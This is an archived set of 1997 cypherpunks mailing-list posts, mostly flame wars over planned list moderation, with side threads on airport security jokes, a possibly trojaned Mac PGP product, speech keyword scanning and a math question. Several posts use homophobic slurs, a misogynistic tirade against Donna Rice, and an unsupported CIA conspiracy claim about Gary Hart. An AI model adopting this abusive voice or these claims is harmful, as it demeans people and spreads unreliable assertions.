From: Dale Thorn <dthorn@gte.net>
Date: Sat, 18 Jan 1997 23:40:25 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701190614.AAA00241@smoke.suba.com>
Message-ID: <32E1CFCB.49DF@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> Vulis wrote:
> > > steal blankets from nearby passenger..

> > I once saw a movie where they had a heroin (or cocaine?) processing lab

>      Crack processing lab. Star'd (IIRC) Ice-T as a Cop.

The other star/badguy, if I remember correctly, was Wesley Snipes.
Wes bought one of my text databases at the bookstore in Santa Monica,
then found he couldn't run the programs on his Macintosh computer.

There is truly no hope.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Sat, 18 Jan 1997 14:41:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Concerned about Pretty Safe Mail for Mac
Message-ID: <199701182241.XAA29079@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


  I'm concerned about the product "Pretty Safe Mail" for the Macintosh,
by a company called Highware. I was wondering whether anyone here had
tried evaluating it at all.

  It is a complete PGP implementation (not a front-end). They claim
to have licensed some of PRZ's code from PGP. However, as far as I
can tell, they are not making any of the source code available.

  As someone on the comp.security.pgp newsgroups pointed out, writing
a wonderful user interface on a PGP trojan horse that either crippled
the session key generator or used the session key to leak random
portions of secret key primes would be a perfect tactic for a
government wishing to penetrate PGP security. With such a great
interface, compared to the original PGP, it can't help but become
widely used.

  I realize that without the source code, it's a major hassle, but
has anyone looked at Pretty Safe Mail (previously called Safemail)
at all for suspicious behavior? For example:

  1) non-random session key generation?
  2) non-random key pair generation?
  3) unnecessary disk access to secret keys?
  4) anything else?

  Any findings, positive or negative, would be appreciated.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 18 Jan 1997 23:46:13 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <199701190627.AAA00288@smoke.suba.com>
Message-ID: <32E1D130.3F52@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> Mr. Thorn said:
> > Here's a problem.  I don't have "technical" capabilities in the area of
> > communications software, and I have too full a plate to start studying
> > now.  But, I/we need to monitor the "moderator", to make sure he doesn't
> > allow people to attack others, then cut the responses.
>    <snip>
> > In other words, can I separate the censored email without having to
> > have two accounts? 
> Subscribe to unfiltered + flames. Anything that shows up twice was "filtered".
> Subscribe to unfiltered + flames and then filter all mail from flames
> to a seperate "folder" to check at your leasure.

I'm already getting multiple copies of messages I can't account for.
The frequency and number seem to be random, and I'm not counting
forwarded stuff.  Take the posts from the most "trusted" people.
Subtract out any personal cc's, account for additional lists subscribed
to, compare for similar (but not identical) posts, and still the
numbers don't add up.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AIDAS <aidas@ixsrs4.ix.netcom.com>
Date: Sat, 18 Jan 1997 21:48:14 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <32E1841B.37C7@gte.net>
Message-ID: <Pine.LNX.3.95.970118234543.9437A-100000@ixsrs4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 18 Jan 1997, Dale Thorn wrote:

> > Or you're not capable of providing one. I think you reached your wit's end
> > a long time past.
> 
> Could AIDAS also be LOGOS (Sandy)?  

Not last I checked.

> All of these are five characters
> long.  

Very perceptive.

>Coincidence?

Yes.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 21:00:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701190210.UAA04384@manifold.algebra.com>
Message-ID: <5ZHR1D53w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Prof. Dale Thorn wrote:
> > When you have the resources to run a coke lab, your employees *can*
> > be all good-looking women [hee hee].  So, to avoid the ugly-naked
> > passenger syndrome, stick mainly to business flights in certain areas,
> > or flights to exclusive resorts, etc.
>
> Do not forget that it is possible to have good looking women w/o the
> resources needed for a coke lab. In fact, totally different resources
> are important.

Time to create "Nudist Airlines" - the most secure airline in the air!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 18 Jan 1997 23:58:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Enough is Never Enough -- pro-CDA alliances, from TNNN
In-Reply-To: <01BC0596.F925F960@bcdev.com>
Message-ID: <32E1D3F8.3A33@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dale wrote:
> > This Donna Rice-Hughes couldn't possibly be the Donna Rice who sat on
> > Gary Hart's lap for the famous picture, could she?

> But of course... she was emotionally traumatized by the who experience
> (or some such line) and is now 'reformed'.  The mind boggles.

I've gotten several confirmations on this, and no negatives, so....

What I remember is that Hart and Schweiker were on one of the intel
committees in the early 1970's, working more-or-less side by side with
Frank Church et al, uncovering the real dirty laundry of the CIA and
its infiltration of nearly every college and important business and
media in the USA.  Hart's minor spillage to the press must have pissed
someone off, so they got the famous picture with Rice in all the papers,
and Hart's presidential bid went right down the toilet.

Now this same girl is on the righteous team, like Chuckie Colson?
Yeah, I believe it.  My you-know-what is starting to pucker up.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sat, 18 Jan 1997 21:04:33 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Airport security [no such thing]
In-Reply-To: <B9Jq1D4w165w@bwalk.dm.com>
Message-ID: <Pine.SOL.3.93.970118233859.4391A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> 
> > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> >
> > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > >
> > > > On Fri, 17 Jan 1997, Dale Thorn wrote:
> > > >
> > > > > Dr.Dimitri Vulis KOTM wrote:
> > > > > > snow <snow@smoke.suba.com> writes:
> > > > > > > > I say we make people fly naked and ship their stuff via UPS ;).
> > > > >
> > > > > > >     >>shudder<<
> > > > > > >     No!. A clear case of the cure being worse than the disease...
> > > > >
> > > > > > Why. it might be fun - those long flight can be so boring with clothe
> > > > >
> > > > > This one I really don't understand.  Cypherpunks lobbied heavily for
> > > > > the Final Solution to Spamming and flaming, now along comes the perfect
> > > > > solution to the airport security problem, and nobody's gonna go for it.
> > > > >
> > > > > Guess those old, out-of-shape guys don't want anybody laughing at them.
> > > > > Besides, they can put all the clothes in the same plane's baggage
> > > > > compartment.  And planes have those little blankets and pillows,
> > > > > so what's the problem?
> > > >
> > > > 	Cold temps...
> > >
> > > What can naked people do to keep warm???
> >
> > 	steal blankets from nearby passenger..
> 
> I once saw a movie where they had a heroin (or cocaine?) processing lab
> and everybody was supposed to work naked so it would be hard to steal
> some of the product. Of course in the movie all the employees were good-
> looking women (Oksas would have been the big star!).

	Thank you for the complement;  You've only seen me with clothes :)
	Would you like to share my blanket?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 18 Jan 1997 21:57:40 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Airport security [no such thing]
In-Reply-To: <B9Jq1D4w165w@bwalk.dm.com>
Message-ID: <199701190614.AAA00241@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Vulis wrote:
> > 	steal blankets from nearby passenger..
> I once saw a movie where they had a heroin (or cocaine?) processing lab

     Crack processing lab. Star'd (IIRC) Ice-T as a Cop. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 18 Jan 1997 22:10:50 -0800 (PST)
To: dthorn@gte.net (Dale Thorn)
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <32E16634.3BC6@gte.net>
Message-ID: <199701190627.AAA00288@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Thorn said:
> Here's a problem.  I don't have "technical" capabilities in the area of
> communications software, and I have too full a plate to start studying
> now.  But, I/we need to monitor the "moderator", to make sure he doesn't
> allow people to attack others, then cut the responses.
   <snip> 
> In other words, can I separate the censored email without having to
> have two accounts?

     Subscribe to unfiltered + flames. Anything that shows up twice was 
"filtered".

     Subscribe to unfiltered + flames and then filter all mail from flames
to a seperate "folder" to check at your leasure.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amanda@intercon.com (Amanda Walker)
Date: Sat, 18 Jan 1997 21:59:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Wow.
Message-ID: <199701190558.AAA20187@mail.intercon.com>
MIME-Version: 1.0
Content-Type: text/plain


Well, in the week or two since resubscribing to Cypherpunks, I've seen a
trickle of postings about cryptography, security, and privacy, and a flood
of insults, harangues, fighting words, and so on.  Some of this reads more
like a script from a Jerry Falwell TV spot than anything I recognize as
"Cypherpunk" traffic.

I don't care who's offended whom.  I'm not interested in participating in a
forum where the supposed topic is submerged underneath a lot of adolescent
alpha primate chest-beating.

I'm off to look for a mailing list where people are ACTUALLY DISCUSSING
CRYPTOGRAPHY AND IMPLEMENTING CRYPTOSYSTEMS.  This list may still be
called "cypherpunks", but it doesn't have much cypherpunk left in it, as
far as I can tell.

Disgusted,

Amanda Walker
Senior Software Engineer
InterCon Systems Corporation




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Diode <diode@www.diode.com>
Date: Sun, 19 Jan 1997 00:06:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Internet Message
Message-ID: <199701190905.BAA13631@www.diode.com>
MIME-Version: 1.0
Content-Type: text/plain


Saw your posting thought you might be interested...

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visit the site you have been hearing about...    

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sun, 19 Jan 1997 01:40:57 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Sandy and the Doc
In-Reply-To: <32E1BBD9.6A0C@gte.net>
Message-ID: <Pine.SUN.3.91.970119011900.13146D-100000@crl13.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sat, 18 Jan 1997, Dale Thorn wrote:

> Do we now have to have occasional assurances that the "unedited" list
> is not being restrained?  I thought that was a given, beyond question
> of any kind.  I thought *all* of the controversy revolved around the
> edited/censored list (having stole the original list's name), and that
> everyone understood that the uncensored list was untouchable.  But now
> Sandy is taken to offering reassurances.  What's next??
> 
> 
Dale, don't be such an ass.  If "everyone understood that the 
uncensored (sic) list was untouchable" then why have you and
others continued to challenge that proposition.  You have put
forward the classic heads-I-win-tails-you-lose logical fallacy.
If I say nothing to support the proposition you whine about a
"hidden agenda."  If I reaffirm my commitment to the plan, you
spout pop psychological nonsense of the "the lady doth protest
too much variety."  Which is it, Dale?  You are so transparent.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 19 Jan 1997 08:37:09 -0800 (PST)
To: dthorn@gte.net (Dale Thorn)
Subject: Re: Sandy and the Doc
In-Reply-To: <32E1BBD9.6A0C@gte.net>
Message-ID: <199701190816.CAA00492@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> Sandy Sandfort wrote:
> > On Sat, 18 Jan 1997, Toto wrote:
> > >  I am finding it hard to understand how the same people who
> > > seemed dedicated to silencing Dr. DV K on this list can
> > > then turn around and 'correct' him, or 'add to' his comments,
> > > or 'one-up' him in the insult department.
> 
> > Correcting is not an insult.  His statement was incorrect or
> > incomplete.  I corrected it.  His comment was on topic, though
> > in error.  My correction was on topic.  He was not "silenced" in
> > any way.  Toto's proposition, therefore, does not make sense to me.
> > Contrary to several peoples erroneous assumptions, there will be
> > no flaming--of anyone--on the moderated list.  When moderation is
> > under weigh, I will do nothing to restrain flaming on the flame
> > and unedited lists.  Toto's prejudice (in the literal sense of the
> > word, i.e., "to pre-judge") is showing.
> 
> Please don't get the wrong idea, that I'm paranoid or something, but
> I think I just saw a tiny leak, a miniscule Freudian slip of sorts -
> Sandy says "I will do nothing to restrain ..... the unedited list...".
> 
> Do we now have to have occasional assurances that the "unedited" list
> is not being restrained?  I thought that was a given, beyond question
> of any kind.  I thought *all* of the controversy revolved around the
> edited/censored list (having stole the original list's name), and that
> everyone understood that the uncensored list was untouchable.  But now
> Sandy is taken to offering reassurances.  What's next??
> 

I am getting tired now, but here is a proposed solution. You suspect
Prof. Sandfort in an intention to edit "unedited" list. You do not trust
administrators of toad.com. 

I hope though that there are people whom you somewhat trust.

If you trust me, or someone else, like Prof. Dave Hayes, here's what
we can do: I establish a sendmail alias cypherpunks@algebra.com that
expands to, say, your address and also cypherpunks@toad.com.

You can encourage all people, whom you expect to be censored on the
unedited list, to post through cypherpunks@algebra.com. I can even set 
up a little program that would digitally sign receipts of all messages
coming to cypherpunks@algebra.com. You and anyone else can receive such 
receipts.

It means that you, Dale Thorn, in cooperation with other readers but
WITHOUT cooperation from toad.com, will be able to see which articles
sent through algebra.com finally made it to the unedited list. Not all
posters will use such service, but you can expect the "censored" people
to do so.

If you indeed notice an impropriety, the digitally signed receipts
will be your proof that articles were submitted. As long as the
other readers trust me (or Dave Hayes, or whoever volunteers), you 
will have a strong case even without relying on freudian slips.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John C. Randolph" <jcr@idiom.com>
Date: Sun, 19 Jan 1997 03:31:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Donna Rice, etc.
Message-ID: <199701191131.DAA29955@idiom.com>
MIME-Version: 1.0
Content-Type: text/plain



Toto wrote:
> Sir Robin of Locksley wrote:
> > > Donna Rice-Hughes from Enough is Enough says: "It discusses
> > > three primary areas of our concern: letting the court know the
> > > problems on the Internet. Adult pornography, indecency, and
> > > child porn as well.

> > Now it's porn, tomorrow it's you saying what you beleive (that
> > might also be the truth...) If one is offended by something,
> > don't look! How come Catholicism doesn't get banned and outlawed?
> > Hell, it offends me...

>I didn't see the question anywhere, so I'm asking:

>This Donna Rice-Hughes couldn't possibly be the Donna Rice who sat on
>Gary Hart's lap for the famous picture, could she?

Yes, it's the very same Bimbo who scuttled Gary Hart's campaign, and then
parlayed that notoriety into a modeling contract.. Mind you, I'm
all for Bimbos knocking dipshit hypocrites out of the running for a 
presidential nomination, but the idea of having this "party girl" try to 
police the content of my beloved internet really pisses me off.

She made money in the past wiggling her tits for the camera, and again,
I'm all for bimbos making money wiggling for cameras, but when she tries
to tell me what I should or shouldn't be able to see, my reply *must* be:

	Fuck you, you hypocritical, ignorant, little slut.

I am also going to take issue with her trysting with a married man.  I wish
Hart's wife had verbally beaten the living shit out of her.

-jcr

Obligatory Crypto Policy reference: Why couldn't she have scuttled 
Feurher Clinton's career, instead?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz
Date: Sat, 18 Jan 1997 06:34:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Keyword scanning/speech recognition
Message-ID: <85359805820229@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


I was talking to someone recently about the feasibilty of keyword-scanning
phone conversations.  He thought it was probably still beyond the reach of
current technology, I thought it wasn't (I gave a couple of references in a
recent paper on government attitudes to crypto which indicate that it's being
used right now by a number of governments).  Anyway, I've got bits and pieces
of one or two papers here which people might find interesting.  The first one
is:
 
  "Digital Circuit Techniques for Speech Analysis" by G.L.Clapper, presented at
   the AIEE Winter General Meeting in January 1962.
 
I've only got the first two pages of the paper here, I think the full thing
might have been published in the IEEE Trans.Communications in about 1963.  This
paper mentions a "digit recognizer" built at Bell Labs in 1952, and a Japanese
voice-operated typewriter using 3,000 transistors and 6,000 diodes.  The paper
goes on to describe a means of producing a "compact digital code expressing
significant qualities of speech in a form suitable for machine utilization".
This was in 1962!
 
A more recent paper is:
 
  "Discrete Utterance Speech Recognition without Time Alignment", John Shore
   and David Burton, IEEE Trans.Information Theory, Vol.29, No.4 (July 1983),
   p.473.
 
This generates a feature vector every 10-30ms from input speech which is
compared to pre-generated reference sequences.  It also has references to many
other papers covering the same area.
 
Certainly it appears that by the early 1980's it was possible to scan speech
for keywords and/or speakers and use this to target the surrounding
conversation, and that early work on this had been done since about 1960.  This
is all from public sources, since certain organisations have a *far* greater
interest in this particular area than anyone performing public research it's
likely that equivalent classified research was some way ahead of this.
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 19 Jan 1997 03:14:25 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Sandy and the Doc
In-Reply-To: <Pine.SUN.3.91.970118201607.10538D-100000@crl10.crl.com>
Message-ID: <32E2155C.A65@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> 
> Correcting is not an insult.

  My post did not say it was, and did not suggest that you 
insulted Dr. DV K in your post.

>  He was not "silenced" in any way.  Toto's proposition, 
>  therefore, does not make sense to me.

  If being forcefully unsubscribed 'does not count' as an
attempt to silence someone, then I suppose that neither does
shipping them to a labor camp in Siberia.

> Toto's prejudice (in the literal sense of the
> word, i.e., "to pre-judge") is showing.

  If you are going to define the words you are using, then
perhaps you should define them a little more specifically
and back them up with specifics, rather than use them as
out-of-context, vague declarations.
  Black's Law Dictionary defines 'prejudice' as: A forejudgment;
A leaning towards one side of a cause for some reason other
than a conviction of its justice.

  My post did not make a judgement as to the integrity of
your (or anyone's) future moderation of this list, but 
expressed concern in relation to the attitudes toward 
moderation, based on the postings that have already taken 
place on this list.
  (You're toast, punk. / Your end is drawing near, asshole. 
etc., etc., etc.)
  Until I see some indication, other than vague assurances,
that there is, in fact, some established rational behind 
the way the moderation process will be implemented, my 
concerns will remain.

  As far as figuring out, to everyone's satisfaction, just
what constitues a 'flame', good luck, since everyone seems
to have a different definition.
  Vague, unsubstatiated claims of someone's 'prejudice' might be
considered by some to be a flame, or simply regarded as 
'misjudgement' by others.  
  Personally, I have no problem with someone telling me "You're 
full of shit.", rather than, "Sir, I believe you are in 
error."  Others, having played less hockey, might have 
gentler sensibilities.
  DataETRetch seemed to feel terribly put-upon and personally
attacked by various CypherPunks being so brazenly outspoken as
to simply ask for some basis of verification for the outlandish
claims they were making for their software.  Their representative
openly accused the CypherPunks of 'flaming' him for raising valid
concerns about the technical nature of their software.

  There certainly seem to be more than a few people who have
faith in your capacity to be a decent moderator, and I see
no great reason to disagree with them, but it bothers me
that you would take my statement of my concerns, and my
reasons behind them, to be a personally biased pre-judgement
of your integrity.
  I find it bothersome that some of the self-proclaimed
'upstanding' members of the CypherPunks list have responded
to my attacks on their 'logic' with 'personal' attacks on,
and insults toward, myself.  At the same time, I would rather
hear what they have to say, and be able to make my own personal
judgement as to whether the problem is mine, or theirs, than
to be 'protected' from them.

  I hope that your efforts towards decreasing the list's level
of blatantly offensive crapola will not lead towards reducing
the CypherPunks' tendencies to be outspokenly strong in their
convictions.
  Cryptography is going to be an increasingly important issue
in all areas of life in our electronically-global future, and
without serious discussion of the issues that go hand-in-hand
with its development, then the 'numbers' and the technology
behind them have little real meaning.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Sat, 18 Jan 1997 20:34:30 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <199701190213.UAA04414@manifold.algebra.com>
Message-ID: <19970119043828.28200.qmail@taz.nceye.net>
MIME-Version: 1.0
Content-Type: text/plain


   Delivered-To: reece-cpunks@taz.nceye.net
   Delivered-To: reece@taz.nceye.net
   Date: Sat, 18 Jan 1997 20:13:00 -0600 (CST)
   Cc: dlv@bwalk.dm.com, cypherpunks@toad.com, freedom-knights@jetcafe.org
   Reply-To: ichudov@algebra.com (Igor Chudov)
   From: ichudov@algebra.com (Igor Chudov @ home)
   X-No-Archive: yes
   Organization: Bool Sheet Software
   X-Mailer: ELM [version 2.4 PL24 ME7]
   Content-Type: text
   Sender: owner-cypherpunks@toad.com
   Precedence: bulk

   Dale Thorn wrote:
   > 
   > Dr.Dimitri Vulis KOTM wrote:
   > > Someone wrote to me:
   > > >Did you not mean any homo who has ever shaffted Gilmore and Sandy can
   > > >write what the fuck they like but straight or intelligent or NORMAL
   > > >people will have to be filtered.
   > 
   > > Yes, that's precisely how Sandfart's moderation will work. Homosexuals
   > > like Jason Durbin will continue to post personal attacks on Gilmore's
   > > many "enemies", but the victims of the libel will not be able to respond
   > > and refute their lies. The concept of "the best response to speech you
   > > don't like is more speech" is totally alien to the homosexual subculture
   > > on the Internet. These control freaks are into censorship and B&D.
   > 
   > Here's a problem.  I don't have "technical" capabilities in the area of
   > communications software, and I have too full a plate to start studying
   > now.  But, I/we need to monitor the "moderator", to make sure he doesn't
   > allow people to attack others, then cut the responses.
   > 
   > If he does this, and he doesn't rectify it when it's called to his
   > attention, he would need to be punished in some way.  One of the
   > questions I have is, how do I know what's cut when all I subscribe to
   > is the uncensored list?  I do *not* want to subscribe to the filtered
   > list plus the "flames" list, out of principle.  Is this something that
   > would be forced on me/us in order to monitor the censorship?
   > 
   > In other words, can I separate the censored email without having to
   > have two accounts?
   > 

   it is easy undex unix, what you have to do is store arriving article
   in separate directories by message ID and run diff (with certain
   corrections) on these two directories.

   diff will print you the files that are in one dir and not in another.

   take an extraction, and delete too new articles (so that propagation
   does not screw you up).

   thats it

If you just want the differences and aren't too concerned with
timeliness, I'm planning on running a cypherpunks-rejects list containing all
the messages that went out the unedited list but didn't show up on the
moderated one within x hours (not sure what x should be yet).




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Sun, 19 Jan 1997 00:02:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: I beg you, PLEASE prove that 0.123456789101112131415 is IRRATIONAL
Message-ID: <19970119064820.11000.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Dear Cypher Punks,

I BEG YOU TO HELP ME!!!

Is it possible to prove that number 0.1234567891011121314151617181920...
iz irrational? 

Or may be it is rational?

Also, another question for math geniuses here: 

Is it REALLY true that there are real numbers that cannot be generated
by any algorithm? Some guy said that since the set of algorithms is
countable, but the set of real numbers is more than countable, there 
must be some numbers for which there is no algorithms that generate them.

But I still do not believe him.

Also, is it true that the sequence of digits in e is random because the ONLY way to get to the
p'th digit is to calculate the p-1'st digits?

Also, is it the correct definition of a real number: 

``A real number is the class of numbers which can represent the length of
an arbitrary line.''


I AM REAL DESPERATE FOR YOUR ASS ISTANCE.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sun, 19 Jan 1997 08:40:41 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Sandy and the Doc
In-Reply-To: <32E2155C.A65@sk.sympatico.ca>
Message-ID: <Pine.SUN.3.91.970119080555.11396A-100000@crl2.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sun, 19 Jan 1997, Toto wrote:

>   If you are going to define the words you are using, then
> perhaps you should define them a little more specifically
> and back them up with specifics, rather than use them as
> out-of-context, vague declarations.
>   Black's Law Dictionary defines 'prejudice' as: A forejudgment;
> A leaning towards one side of a cause for some reason other
> than a conviction of its justice.

First, I did not use it as a legal term of art, so a legal 
dictionary is not appropriate.  Second, I see no sustantive 
difference between "forejudgment" and my shorthand version 
(pre-judge).  Third, I wrote "literal."  Examine the etimology of 
the word for it's literal meaning.  It's pretty obvious AND
specific [ME.; OFr, /prejudice/ (Fr. /prejudice/); L praejudicium/,
from /prae/, before, and /judicium/, a judgment, from /judex/,
/judicgis/, a judge.]  In other words, to pre-judge.  Get it?
 
>   As far as figuring out, to everyone's satisfaction, just
> what constitues a 'flame', good luck, since everyone seems
> to have a different definition.

I have no intention nor duty to satisfy everyone.  That is not
possible.  I will use a "reasonable person" test.  (I am, by the 
way, using this in the legal term of art sense.)

>   Personally, I have no problem with someone telling me "You're 
> full of shit.", rather than, "Sir, I believe you are in 
> error."  Others, having played less hockey, might have 
> gentler sensibilities.

Other folks on this list seem to have other opinions.  That's why
there are horse races.  I don't like it, but Toto are free to 
wallow in it if he chooses.

>   I hope that your efforts towards decreasing the list's level
> of blatantly offensive crapola will not lead towards reducing
> the CypherPunks' tendencies to be outspokenly strong in their
> convictions.

Somehow, I don't think that will be a problem, as this debate 
has demonstrated.

>   Cryptography is going to be an increasingly important issue
> in all areas of life in our electronically-global future, and
> without serious discussion of the issues that go hand-in-hand
> with its development, then the 'numbers' and the technology
> behind them have little real meaning.

I totally agree with this not-full-of-shit position.  Toto and I,
unlike some others, seem to agree on the importance of crypto.
We only seem to have a problem with how best to discuss the 
issues.  It's a start.


 S a n d y

P.S.	I talked to Gilmore about the holdup in getting
	started.  He has been too busy to get the tech
	side going, but when he does, (a) everyone will
	be notifed as to the start date, and the test
	will still run for an entire month.  Until then,
	it is (sadly) business as usual.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 19 Jan 1997 05:53:41 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <32E16634.3BC6@gte.net>
Message-ID: <Pine.LNX.3.95.970119085107.7506H-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 18 Jan 1997, Dale Thorn wrote:

> Dr.Dimitri Vulis KOTM wrote:
> > Someone wrote to me:
> > >Did you not mean any homo who has ever shaffted Gilmore and Sandy can
> > >write what the fuck they like but straight or intelligent or NORMAL
> > >people will have to be filtered.
> 
> > Yes, that's precisely how Sandfart's moderation will work. Homosexuals
> > like Jason Durbin will continue to post personal attacks on Gilmore's
> > many "enemies", but the victims of the libel will not be able to respond
> > and refute their lies. The concept of "the best response to speech you
> > don't like is more speech" is totally alien to the homosexual subculture
> > on the Internet. These control freaks are into censorship and B&D.
> 
> Here's a problem.  I don't have "technical" capabilities in the area of
> communications software, and I have too full a plate to start studying
> now.  But, I/we need to monitor the "moderator", to make sure he doesn't
> allow people to attack others, then cut the responses.
> 
> If he does this, and he doesn't rectify it when it's called to his
> attention, he would need to be punished in some way.  One of the
> questions I have is, how do I know what's cut when all I subscribe to
> is the uncensored list?  I do *not* want to subscribe to the filtered
> list plus the "flames" list, out of principle.  Is this something that
> would be forced on me/us in order to monitor the censorship?
> 
> In other words, can I separate the censored email without having to
> have two accounts?
> 
> 

You can not.  You need another account.

I wrote to Steve Case about this censorship problem, and I am waiting
for him to respond.

Do you want another account to get the censored list at?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 19 Jan 1997 06:08:27 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <19970119043828.28200.qmail@taz.nceye.net>
Message-ID: <Pine.LNX.3.95.970119090506.7506I-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On 19 Jan 1997, Bryan Reece wrote:

>    Delivered-To: reece-cpunks@taz.nceye.net
>    Delivered-To: reece@taz.nceye.net
>    Date: Sat, 18 Jan 1997 20:13:00 -0600 (CST)
>    Cc: dlv@bwalk.dm.com, cypherpunks@toad.com, freedom-knights@jetcafe.org
>    Reply-To: ichudov@algebra.com (Igor Chudov)
>    From: ichudov@algebra.com (Igor Chudov @ home)
>    X-No-Archive: yes
>    Organization: Bool Sheet Software
>    X-Mailer: ELM [version 2.4 PL24 ME7]
>    Content-Type: text
>    Sender: owner-cypherpunks@toad.com
>    Precedence: bulk
> 
>    Dale Thorn wrote:
>    > 
>    > Dr.Dimitri Vulis KOTM wrote:
>    > > Someone wrote to me:
>    > > >Did you not mean any homo who has ever shaffted Gilmore and Sandy can
>    > > >write what the fuck they like but straight or intelligent or NORMAL
